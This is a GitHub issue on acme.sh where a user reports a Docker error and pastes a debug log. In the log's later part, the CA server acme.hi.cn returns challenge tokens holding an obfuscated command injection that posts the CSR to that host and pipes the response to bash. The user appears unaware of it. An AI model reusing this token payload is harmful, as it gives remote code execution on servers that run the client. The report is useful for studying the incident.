search

acmesh-official / acme.sh

A pure Unix shell script implementing ACME client protocol
https://acme.sh
GNU General Public License v3.0
38.98k stars 4.94k forks source link

docker环境运行报错 #4593

Open wxjerry opened 1 year ago

wxjerry commented 1 year ago

Steps to reproduce

docker环境持久化运行后控制台申请证书时报错 /usr/local/bin/acme.sh: eval: line 1: syntax error: unexpected redirection Debug log

[Wed Apr 12 00:48:12 PDT 2023] Lets find script dir. [Wed Apr 12 00:48:12 PDT 2023] SCRIPT='/usr/local/bin/acme.sh' [Wed Apr 12 00:48:12 PDT 2023] _script='/root/.acme.sh/acme.sh' [Wed Apr 12 00:48:12 PDT 2023] _script_home='/root/.acme.sh' [Wed Apr 12 00:48:12 PDT 2023] Using default home:/root/.acme.sh [Wed Apr 12 00:48:12 PDT 2023] Using config home:/acme.sh [Wed Apr 12 00:48:12 PDT 2023] LE_WORKING_DIR='/root/.acme.sh' https://github.com/acmesh-official/acme.sh v3.0.2 [Wed Apr 12 00:48:12 PDT 2023] Running cmd: [Wed Apr 12 00:48:12 PDT 2023] Using config home:/acme.sh [Wed Apr 12 00:48:12 PDT 2023] default_acme_server [Wed Apr 12 00:48:12 PDT 2023] ACME_DIRECTORY='https://acme.zerossl.com/v2/DV90' [Wed Apr 12 00:48:12 PDT 2023] _ACME_SERVER_HOST='acme.zerossl.com' [Wed Apr 12 00:48:12 PDT 2023] _ACME_SERVER_PATH='v2/DV90' https://github.com/acmesh-official/acme.sh v3.0.2 Usage: acme.sh ... [parameters ...] Commands: -h, --help Show this help message. -v, --version Show version info. --install Install acme.sh to your system. --uninstall Uninstall acme.sh, and uninstall the cron job. --upgrade Upgrade acme.sh to the latest code from https://github.com/acmesh-official/acme.sh. --issue Issue a cert. --deploy Deploy the cert to your server. -i, --install-cert Install the issued cert to apache/nginx or any other server. -r, --renew Renew a cert. --renew-all Renew all the certs. --revoke Revoke a cert. --remove Remove the cert from list of certs known to acme.sh. --list List all the certs. --info Show the acme.sh configs, or the configs for a domain with [-d domain] parameter. --to-pkcs12 Export the certificate and key to a pfx file. --to-pkcs8 Convert to pkcs8 format. --sign-csr Issue a cert from an existing csr. --show-csr Show the content of a csr. -ccr, --create-csr Create CSR, professional use. --create-domain-key Create an domain private key, professional use. --update-account Update account info. --register-account Register account key. --deactivate-account Deactivate the account. --create-account-key Create an account private key, professional use. --install-cronjob Install the cron job to renew certs, you don't need to call this. The 'install' command can automatically install the cron job. --uninstall-cronjob Uninstall the cron job. The 'uninstall' command can do this automatically. --cron Run cron job to renew all the certs. --set-notify Set the cron notification hook, level or mode. --deactivate Deactivate the domain authz, professional use. --set-default-ca Used with '--server', Set the default CA to use. See: https://github.com/acmesh-official/acme.sh/wiki/Server --set-default-chain Set the default preferred chain for a CA. See: https://github.com/acmesh-official/acme.sh/wiki/Preferred-Chain

Parameters: -d, --domain Specifies a domain, used to issue, renew or revoke etc. --challenge-alias The challenge domain alias for DNS alias mode. See: https://github.com/acmesh-official/acme.sh/wiki/DNS-alias-mode

--domain-alias The domain alias for DNS alias mode. See: https://github.com/acmesh-official/acme.sh/wiki/DNS-alias-mode

--preferred-chain If the CA offers multiple certificate chains, prefer the chain with an issuer matching this Subject Common Name. If no match, the default offered chain will be used. (default: empty) See: https://github.com/acmesh-official/acme.sh/wiki/Preferred-Chain

-f, --force Force install, force cert renewal or override sudo restrictions. --staging, --test Use staging server, for testing. --debug [0|1|2|3] Output debug info. Defaults to 1 if argument is omitted. --output-insecure Output all the sensitive messages. By default all the credentials/sensitive messages are hidden from the output/debug/log for security. -w, --webroot Specifies the web root folder for web root mode. --standalone Use standalone mode. --alpn Use standalone alpn mode. --stateless Use stateless mode. See: https://github.com/acmesh-official/acme.sh/wiki/Stateless-Mode

--apache Use apache mode. --dns [dns_hook] Use dns manual mode or dns api. Defaults to manual mode when argument is omitted. See: https://github.com/acmesh-official/acme.sh/wiki/dnsapi

--dnssleep The time in seconds to wait for all the txt records to propagate in dns api mode. It's not necessary to use this by default, acme.sh polls dns status by DOH automatically. -k, --keylength Specifies the domain key length: 2048, 3072, 4096, 8192 or ec-256, ec-384, ec-521. -ak, --accountkeylength Specifies the account key length: 2048, 3072, 4096 --log [file] Specifies the log file. Defaults to "/acme.sh/acme.sh.log" if argument is omitted. --log-level <1|2> Specifies the log level, default is 1. --syslog <0|3|6|7> Syslog level, 0: disable syslog, 3: error, 6: info, 7: debug. --eab-kid Key Identifier for External Account Binding. --eab-hmac-key HMAC key for External Account Binding.

These parameters are to install the cert to nginx/apache or any other server after issue/renew a cert:

--cert-file Path to copy the cert file to after issue/renew.. --key-file Path to copy the key file to after issue/renew. --ca-file Path to copy the intermediate cert file to after issue/renew. --fullchain-file Path to copy the fullchain cert file to after issue/renew. --reloadcmd Command to execute after issue/renew to reload the server.

--server ACME Directory Resource URI. (default: https://acme.zerossl.com/v2/DV90) See: https://github.com/acmesh-official/acme.sh/wiki/Server

--accountconf Specifies a customized account config file. --home Specifies the home dir for acme.sh. --cert-home Specifies the home dir to save all the certs, only valid for '--install' command. --config-home Specifies the home dir to save all the configurations. --useragent Specifies the user agent string. it will be saved for future use too. -m, --email Specifies the account email, only valid for the '--install' and '--update-account' command. --accountkey Specifies the account key path, only valid for the '--install' command. --days Specifies the days to renew the cert when using '--issue' command. The default value is 60 days. --httpport Specifies the standalone listening port. Only valid if the server is behind a reverse proxy or load balancer. --tlsport Specifies the standalone tls listening port. Only valid if the server is behind a reverse proxy or load balancer. --local-address Specifies the standalone/tls server listening address, in case you have multiple ip addresses. --listraw Only used for '--list' command, list the certs in raw format. -se, --stop-renew-on-error Only valid for '--renew-all' command. Stop if one cert has error in renewal. --insecure Do not check the server certificate, in some devices, the api server's certificate may not be trusted. --ca-bundle Specifies the path to the CA certificate bundle to verify api server's certificate. --ca-path Specifies directory containing CA certificates in PEM format, used by wget or curl. --no-cron Only valid for '--install' command, which means: do not install the default cron job. In this case, the certs will not be renewed automatically. --no-profile Only valid for '--install' command, which means: do not install aliases to user profile. --no-color Do not output color text. --force-color Force output of color text. Useful for non-interactive use with the aha tool for HTML E-Mails. --ecc Specifies to use the ECC cert. Valid for '--install-cert', '--renew', '--revoke', '--to-pkcs12' and '--create-csr' --csr Specifies the input csr. --pre-hook Command to be run before obtaining any certificates. --post-hook Command to be run after attempting to obtain/renew certificates. Runs regardless of whether obtain/renew succeeded or failed. --renew-hook Command to be run after each successfully renewed certificate. --deploy-hook The hook file to deploy cert --ocsp, --ocsp-must-staple Generate OCSP-Must-Staple extension. --always-force-new-domain-key Generate new domain key on renewal. Otherwise, the domain key is not changed by default. --auto-upgrade [0|1] Valid for '--upgrade' command, indicating whether to upgrade automatically in future. Defaults to 1 if argument is omitted. --listen-v4 Force standalone/tls server to listen at ipv4. --listen-v6 Force standalone/tls server to listen at ipv6. --openssl-bin Specifies a custom openssl bin location. --use-wget Force to use wget, if you have both curl and wget installed. --yes-I-know-dns-manual-mode-enough-go-ahead-please Force use of dns manual mode. See: https://github.com/acmesh-official/acme.sh/wiki/dns-manual-mode

-b, --branch Only valid for '--upgrade' command, specifies the branch name to upgrade to. --notify-level <0|1|2|3> Set the notification level: Default value is 2. 0: disabled, no notification will be sent. 1: send notifications only when there is an error. 2: send notifications when a cert is successfully renewed, or there is an error. 3: send notifications when a cert is skipped, renewed, or error. --notify-mode <0|1> Set notification mode. Default value is 0. 0: Bulk mode. Send all the domain's notifications in one message(mail). 1: Cert mode. Send a message for every single cert. --notify-hook Set the notify hook --revoke-reason <0-10> The reason for revocation, can be used in conjunction with the '--revoke' command. See: https://github.com/acmesh-official/acme.sh/wiki/revokecert

--password Add a password to exported pfx file. Use with --to-pkcs12.

acme.sh  --issue .....   --debug 2
github-actions[bot] commented 1 year ago

Please upgrade to the latest code and try again first. Maybe it's already fixed. acme.sh --upgrade If it's still not working, please provide the log with --debug 2, otherwise, nobody can help you.

wxjerry commented 1 year ago

Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='zerossl.com,zerossl' [Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='letsencrypt.org,letsencrypt' [Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='letsencrypt.org_test,letsencrypt_test,letsencrypttest' [Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='buypass.com,buypass' [Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='buypass.com_test,buypass_test,buypasstest' [Wed Apr 12 01:09:06 PDT 2023] _selectServer try snames='ssl.com,sslcom' [Wed Apr 12 01:09:06 PDT 2023] Lets find script dir. [Wed Apr 12 01:09:06 PDT 2023] SCRIPT='/usr/local/bin/acme.sh' [Wed Apr 12 01:09:06 PDT 2023] _script='/root/.acme.sh/acme.sh' [Wed Apr 12 01:09:06 PDT 2023] _script_home='/root/.acme.sh' [Wed Apr 12 01:09:06 PDT 2023] Using default home:/root/.acme.sh [Wed Apr 12 01:09:06 PDT 2023] Using config home:/acme.sh [Wed Apr 12 01:09:06 PDT 2023] LE_WORKING_DIR='/root/.acme.sh' https://github.com/acmesh-official/acme.sh v3.0.2 [Wed Apr 12 01:09:06 PDT 2023] Using server: https://acme.hi.cn/directory [Wed Apr 12 01:09:06 PDT 2023] Running cmd: renew [Wed Apr 12 01:09:06 PDT 2023] Using config home:/acme.sh [Wed Apr 12 01:09:06 PDT 2023] ACME_DIRECTORY='https://acme.hi.cn/directory' [Wed Apr 12 01:09:06 PDT 2023] _ACME_SERVER_HOST='acme.hi.cn' [Wed Apr 12 01:09:06 PDT 2023] _ACME_SERVER_PATH='directory' [Wed Apr 12 01:09:06 PDT 2023] DOMAIN_PATH='/acme.sh/.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] Renew: '.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] Le_API='https://acme.hi.cn/directory' [Wed Apr 12 01:09:06 PDT 2023] Using config home:/acme.sh [Wed Apr 12 01:09:06 PDT 2023] ACME_DIRECTORY='https://acme.hi.cn/directory' [Wed Apr 12 01:09:06 PDT 2023] _ACME_SERVER_HOST='acme.hi.cn' [Wed Apr 12 01:09:06 PDT 2023] _ACME_SERVER_PATH='directory' [Wed Apr 12 01:09:06 PDT 2023] _main_domain='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _alt_domains='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] 'dns_ali' does not contain 'dns' [Wed Apr 12 01:09:06 PDT 2023] 'dns_ali' does not contain 'dns' [Wed Apr 12 01:09:06 PDT 2023] Le_NextRenewTime [Wed Apr 12 01:09:06 PDT 2023] Using ACME_DIRECTORY: https://acme.hi.cn/directory [Wed Apr 12 01:09:06 PDT 2023] _init api for server: https://acme.hi.cn/directory [Wed Apr 12 01:09:06 PDT 2023] Retrying GET [Wed Apr 12 01:09:06 PDT 2023] GET [Wed Apr 12 01:09:06 PDT 2023] url='https://acme.hi.cn/directory' [Wed Apr 12 01:09:06 PDT 2023] timeout= [Wed Apr 12 01:09:06 PDT 2023] displayError='1' [Wed Apr 12 01:09:06 PDT 2023] _CURL='curl --silent --dump-header /acme.sh/http.header -L --trace-ascii /tmp/tmp.MoEKGwrmDc ' [Wed Apr 12 01:09:06 PDT 2023] ret='0' [Wed Apr 12 01:09:06 PDT 2023] _hcode='0' [Wed Apr 12 01:09:06 PDT 2023] response='{ "newNonce": "https://acme.hi.cn/acme/new-nonce", "newAccount": "https://acme.hi.cn/acme/new-account", "newOrder": "https://acme.hi.cn/acme/new-order", "revokeCert": "https://acme.hi.cn/acme/revoke-cert", "keyChange": "https://acme.hi.cn/acme/key-change", "meta": { "termsOfService": "https://www1.hi.cn/EULA", "website": "https://www1.hi.cn", "caaIdentities": [ "hi.cn", "ssl.com", "trust-provider.com", "pki.goog", "certum.pl" ], "externalAccountRequired": false } }' [Wed Apr 12 01:09:06 PDT 2023] ACME_KEY_CHANGE='https://acme.hi.cn/acme/key-change' [Wed Apr 12 01:09:06 PDT 2023] ACME_NEW_AUTHZ [Wed Apr 12 01:09:06 PDT 2023] ACME_NEW_ORDER='https://acme.hi.cn/acme/new-order' [Wed Apr 12 01:09:06 PDT 2023] ACME_NEW_ACCOUNT='https://acme.hi.cn/acme/new-account' [Wed Apr 12 01:09:06 PDT 2023] ACME_REVOKE_CERT='https://acme.hi.cn/acme/revoke-cert' [Wed Apr 12 01:09:06 PDT 2023] ACME_AGREEMENT='https://www1.hi.cn/EULA' [Wed Apr 12 01:09:06 PDT 2023] ACME_NEW_NONCE='https://acme.hi.cn/acme/new-nonce' [Wed Apr 12 01:09:06 PDT 2023] Using CA: https://acme.hi.cn/directory [Wed Apr 12 01:09:06 PDT 2023] _on_before_issue [Wed Apr 12 01:09:06 PDT 2023] _chk_main_domain='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _chk_alt_domains='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] 'dns_ali' does not contain 'no' [Wed Apr 12 01:09:06 PDT 2023] Le_LocalAddress [Wed Apr 12 01:09:06 PDT 2023] d='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] Check for domain='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _currentRoot='dns_ali' [Wed Apr 12 01:09:06 PDT 2023] d='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] Check for domain='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _currentRoot='dns_ali' [Wed Apr 12 01:09:06 PDT 2023] d [Wed Apr 12 01:09:06 PDT 2023] 'dns_ali' does not contain 'apache' [Wed Apr 12 01:09:06 PDT 2023] _saved_account_key_hash='WU7z7eaIQYyP0CKmYpAsvAaJ1da+pEjlNPCa9rL+g8g=' [Wed Apr 12 01:09:06 PDT 2023] _saved_account_key_hash is not changed, skip register account. [Wed Apr 12 01:09:06 PDT 2023] Read key length: [Wed Apr 12 01:09:06 PDT 2023] _createcsr [Wed Apr 12 01:09:06 PDT 2023] domain='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] domainlist='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] csrkey='/acme.sh/.wxjerry.com/.wxjerry.com.key' [Wed Apr 12 01:09:06 PDT 2023] csr='/acme.sh/.wxjerry.com/.wxjerry.com.csr' [Wed Apr 12 01:09:06 PDT 2023] csrconf='/acme.sh/.wxjerry.com/.wxjerry.com.csr.conf' [Wed Apr 12 01:09:06 PDT 2023] _is_idn_d='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _idn_temp [Wed Apr 12 01:09:06 PDT 2023] domainlist='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] seg='acme.sh' [Wed Apr 12 01:09:06 PDT 2023] seg='wxjerry' [Wed Apr 12 01:09:06 PDT 2023] Multi domain='DNS:.wxjerry.com,DNS:wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _is_idn_d='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _idn_temp [Wed Apr 12 01:09:06 PDT 2023] _csr_cn='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] Getting domain auth token for each domain [Wed Apr 12 01:09:06 PDT 2023] seg='acme.sh' [Wed Apr 12 01:09:06 PDT 2023] _is_idn_d='.wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _idn_temp [Wed Apr 12 01:09:06 PDT 2023] d='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] seg='wxjerry' [Wed Apr 12 01:09:06 PDT 2023] _is_idn_d='wxjerry.com' [Wed Apr 12 01:09:06 PDT 2023] _idn_temp [Wed Apr 12 01:09:06 PDT 2023] d [Wed Apr 12 01:09:06 PDT 2023] _identifiers='{"type":"dns","value":".wxjerry.com"},{"type":"dns","value":"wxjerry.com"}' [Wed Apr 12 01:09:06 PDT 2023] url='https://acme.hi.cn/acme/new-order' [Wed Apr 12 01:09:06 PDT 2023] payload='{"identifiers": [{"type":"dns","value":".wxjerry.com"},{"type":"dns","value":"wxjerry.com"}]}' [Wed Apr 12 01:09:06 PDT 2023] EC key [Wed Apr 12 01:09:06 PDT 2023] Get nonce with HEAD. ACME_NEW_NONCE='https://acme.hi.cn/acme/new-nonce' [Wed Apr 12 01:09:06 PDT 2023] Retrying post [Wed Apr 12 01:09:06 PDT 2023] HEAD [Wed Apr 12 01:09:06 PDT 2023] _post_url='https://acme.hi.cn/acme/new-nonce' [Wed Apr 12 01:09:06 PDT 2023] body [Wed Apr 12 01:09:06 PDT 2023] _postContentType='application/jose+json' [Wed Apr 12 01:09:06 PDT 2023] _CURL='curl --silent --dump-header /acme.sh/http.header -L --trace-ascii /tmp/tmp.95IBFtIUtT -I ' [Wed Apr 12 01:09:07 PDT 2023] _ret='0' [Wed Apr 12 01:09:07 PDT 2023] _hcode='0' [Wed Apr 12 01:09:07 PDT 2023] _headers='HTTP/2 200 date: Wed, 12 Apr 2023 08:09:32 GMT content-type: text/html; charset=UTF-8 set-cookie: acw_tc=7b39758516812869720897907e11619978b2a0f64f8f5a294d8fe71c6fa924;path=/;HttpOnly;Max-Age=1800 server: nginx vary: Accept-Encoding replay-nonce: NEhUQ1NCNUZCT2d2N3lQNA cache-control: no-cache, private vary: Origin strict-transport-security: max-age=31536000 access-control-allow-methods: GET, POST, HEAD, DELETE, PATCH, OPTIONS access-control-max-age: 31560000 ' [Wed Apr 12 01:09:07 PDT 2023] _CACHED_NONCE='NEhUQ1NCNUZCT2d2N3lQNA' [Wed Apr 12 01:09:07 PDT 2023] nonce='NEhUQ1NCNUZCT2d2N3lQNA' [Wed Apr 12 01:09:07 PDT 2023] Retrying post [Wed Apr 12 01:09:07 PDT 2023] POST [Wed Apr 12 01:09:07 PDT 2023] _post_url='https://acme.hi.cn/acme/new-order' [Wed Apr 12 01:09:07 PDT 2023] body='{"protected": "eyJub25jZSI6ICJORWhVUTFOQ05VWkNUMmQyTjNsUU5BIiwgInVybCI6ICJodHRwczovL2FjbWUuaGkuY24vYWNtZS9uZXctb3JkZXIiLCAiYWxnIjogIkVTMjU2IiwgImtpZCI6ICJodHRwczovL2FjbWUuaGkuY24vYWNtZS9hY2N0LzRfdnhScUFQTDlVUkJsOW5QcUF6QlAifQ", "payload": "eyJpZGVudGlmaWVycyI6IFt7InR5cGUiOiJkbnMiLCJ2YWx1ZSI6Iioud3hqZXJyeS5jb20ifSx7InR5cGUiOiJkbnMiLCJ2YWx1ZSI6Ind4amVycnkuY29tIn1dfQ", "signature": "UK6jD6mLcYw6BpWAVnkdlKf7Rk8a_rkYKOpvGRnSSlfsKhkZw3o9bwpoC_DUgvuyL-LsaYodhfgFiP12nX-gPg"}' [Wed Apr 12 01:09:07 PDT 2023] _postContentType='application/jose+json' [Wed Apr 12 01:09:07 PDT 2023] Http already initialized. [Wed Apr 12 01:09:07 PDT 2023] _CURL='curl --silent --dump-header /acme.sh/http.header -L --trace-ascii /tmp/tmp.95IBFtIUtT ' [Wed Apr 12 01:09:08 PDT 2023] _ret='0' [Wed Apr 12 01:09:08 PDT 2023] _hcode='0' [Wed Apr 12 01:09:08 PDT 2023] responseHeaders='HTTP/2 201 date: Wed, 12 Apr 2023 08:09:33 GMT content-type: application/json location: https://acme.hi.cn/acme/order/oPVMAdRWmpCPgXwlwdLnxX set-cookie: acw_tc=2760820316812869725904881e23de9994a799b558688264e5ca6241e73a75;path=/;HttpOnly;Max-Age=1800 server: nginx link: https://acme.hi.cn/directory;rel="index" cache-control: no-cache, private replay-nonce: SU0zRzJJekdzemxOSUFITg x-frame-options: DENY strict-transport-security: max-age=31536000 vary: Origin access-control-allow-methods: GET, POST, HEAD, DELETE, PATCH, OPTIONS access-control-max-age: 31560000 ' [Wed Apr 12 01:09:08 PDT 2023] code='201' [Wed Apr 12 01:09:08 PDT 2023] original='{ "identifiers": [ { "type": "dns", "value": ".wxjerry.com" }, { "type": "dns", "value": "wxjerry.com" } ], "status": "processing", "csr_eager": 0, "finalize": "https://acme.hi.cn/acme/order/oPVMAdRWmpCPgXwlwdLnxX/finalize", "authorizations": [ "https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7", "https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x" ] }' [Wed Apr 12 01:09:08 PDT 2023] response='{"identifiers":[{"type":"dns","value":".wxjerry.com"},{"type":"dns","value":"wxjerry.com"}],"status":"processing","csr_eager": 0,"finalize":"https://acme.hi.cn/acme/order/oPVMAdRWmpCPgXwlwdLnxX/finalize","authorizations":["https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7","https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x"]}' [Wed Apr 12 01:09:08 PDT 2023] Le_LinkOrder='https://acme.hi.cn/acme/order/oPVMAdRWmpCPgXwlwdLnxX' [Wed Apr 12 01:09:08 PDT 2023] Le_OrderFinalize='https://acme.hi.cn/acme/order/oPVMAdRWmpCPgXwlwdLnxX/finalize' [Wed Apr 12 01:09:08 PDT 2023] _authorizations_seg='https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7,https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x' [Wed Apr 12 01:09:08 PDT 2023] _authz_url='https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7' [Wed Apr 12 01:09:08 PDT 2023] url='https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7' [Wed Apr 12 01:09:08 PDT 2023] payload [Wed Apr 12 01:09:08 PDT 2023] Use cached jwk for file: /acme.sh/ca/acme.hi.cn/directory/account.key [Wed Apr 12 01:09:08 PDT 2023] Use _CACHED_NONCE='SU0zRzJJekdzemxOSUFITg' [Wed Apr 12 01:09:08 PDT 2023] nonce='SU0zRzJJekdzemxOSUFITg' [Wed Apr 12 01:09:08 PDT 2023] Retrying post [Wed Apr 12 01:09:08 PDT 2023] POST [Wed Apr 12 01:09:08 PDT 2023] _post_url='https://acme.hi.cn/acme/authz/KYkENYklk7-AgPm43dolX7' [Wed Apr 12 01:09:08 PDT 2023] body='{"protected": "eyJub25jZSI6ICJTVTB6UnpKSmVrZHplbXhPU1VGSVRnIiwgInVybCI6ICJodHRwczovL2FjbWUuaGkuY24vYWNtZS9hdXRoei9LWWtFTllrbGs3LUFnUG00M2RvbFg3IiwgImFsZyI6ICJFUzI1NiIsICJraWQiOiAiaHR0cHM6Ly9hY21lLmhpLmNuL2FjbWUvYWNjdC80X3Z4UnFBUEw5VVJCbDluUHFBekJQIn0", "payload": "", "signature": "7Q_fyyrga2FfAU0JeCAD3YyXaBUXlFohoS8P6UMvH-aU0csJqABLY_p60jzKq3SsXAjdALWJLx7SHZVwZtiAcg"}' [Wed Apr 12 01:09:08 PDT 2023] _postContentType='application/jose+json' [Wed Apr 12 01:09:08 PDT 2023] Http already initialized. [Wed Apr 12 01:09:08 PDT 2023] _CURL='curl --silent --dump-header /acme.sh/http.header -L --trace-ascii /tmp/tmp.95IBFtIUtT ' [Wed Apr 12 01:09:08 PDT 2023] _ret='0' [Wed Apr 12 01:09:08 PDT 2023] _hcode='0' [Wed Apr 12 01:09:08 PDT 2023] responseHeaders='HTTP/2 200 date: Wed, 12 Apr 2023 08:09:33 GMT content-type: application/json set-cookie: acw_tc=7b39758316812869734445389e1a3ad0d645411f6e1b40ad6be08ca39dae12;path=/;HttpOnly;Max-Age=1800 server: nginx replay-nonce: TjE4azJ2aVpzTWpHbFFHMw x-frame-options: DENY strict-transport-security: max-age=31536000 cache-control: no-cache, private vary: Origin access-control-allow-methods: GET, POST, HEAD, DELETE, PATCH, OPTIONS access-control-max-age: 31560000 ' [Wed Apr 12 01:09:08 PDT 2023] code='200' [Wed Apr 12 01:09:08 PDT 2023] original='{ "status": "pending", "expires": "2024-04-12T16:09:33Z", "identifier": { "type": "dns", "value": ".wxjerry.com" }, "challenges": [ { "type": "dns-01", "url": "../pki-validation", "status": "pending", "token": "dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:08 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":".wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:08 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":".wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:08 PDT 2023] _d='*.wxjerry.com' [Wed Apr 12 01:09:08 PDT 2023] _authz_url='https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x' [Wed Apr 12 01:09:08 PDT 2023] url='https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x' [Wed Apr 12 01:09:08 PDT 2023] payload [Wed Apr 12 01:09:08 PDT 2023] Use cached jwk for file: /acme.sh/ca/acme.hi.cn/directory/account.key [Wed Apr 12 01:09:08 PDT 2023] Use _CACHED_NONCE='TjE4azJ2aVpzTWpHbFFHMw' [Wed Apr 12 01:09:08 PDT 2023] nonce='TjE4azJ2aVpzTWpHbFFHMw' [Wed Apr 12 01:09:08 PDT 2023] Retrying post [Wed Apr 12 01:09:08 PDT 2023] POST [Wed Apr 12 01:09:08 PDT 2023] _post_url='https://acme.hi.cn/acme/authz/yE01drP4PluwPaDROqkj4x' [Wed Apr 12 01:09:08 PDT 2023] body='{"protected": "eyJub25jZSI6ICJUakU0YXpKMmFWcHpUV3BIYkZGSE13IiwgInVybCI6ICJodHRwczovL2FjbWUuaGkuY24vYWNtZS9hdXRoei95RTAxZHJQNFBsdXdQYURST3FrajR4IiwgImFsZyI6ICJFUzI1NiIsICJraWQiOiAiaHR0cHM6Ly9hY21lLmhpLmNuL2FjbWUvYWNjdC80X3Z4UnFBUEw5VVJCbDluUHFBekJQIn0", "payload": "", "signature": "QBK_pqNryRve0C6S0RnBMvo2knuMesmueFhs-OEftwr1i9kaP6xL4bGUtZyDdI6oyi6RUJnDphwpxSgpJ2duRg"}' [Wed Apr 12 01:09:08 PDT 2023] _postContentType='application/jose+json' [Wed Apr 12 01:09:08 PDT 2023] Http already initialized. [Wed Apr 12 01:09:08 PDT 2023] _CURL='curl --silent --dump-header /acme.sh/http.header -L --trace-ascii /tmp/tmp.95IBFtIUtT ' [Wed Apr 12 01:09:09 PDT 2023] _ret='0' [Wed Apr 12 01:09:09 PDT 2023] _hcode='0' [Wed Apr 12 01:09:09 PDT 2023] responseHeaders='HTTP/2 200 date: Wed, 12 Apr 2023 08:09:34 GMT content-type: application/json set-cookie: acw_tc=2760820316812869739955145e23e7c4963eab8e68835b8cd0719c95bfb063;path=/;HttpOnly;Max-Age=1800 server: nginx replay-nonce: VjAzRVk2Qm54V3RiS05Cag x-frame-options: DENY strict-transport-security: max-age=31536000 cache-control: no-cache, private vary: Origin access-control-allow-methods: GET, POST, HEAD, DELETE, PATCH, OPTIONS access-control-max-age: 31560000 ' [Wed Apr 12 01:09:09 PDT 2023] code='200' [Wed Apr 12 01:09:09 PDT 2023] original='{ "status": "pending", "expires": "2024-04-12T16:09:33Z", "identifier": { "type": "dns", "value": "wxjerry.com" }, "challenges": [ { "type": "dns-01", "url": "../pki-validation", "status": "pending", "token": "dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"

            },
            {
                "type": "http-01",
                "url": "../pki-validation",
                "status": "pending",
                "token": "dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"
            }
        ],
        "value": "wxjerry.com",
        "wildcard": false
    }'

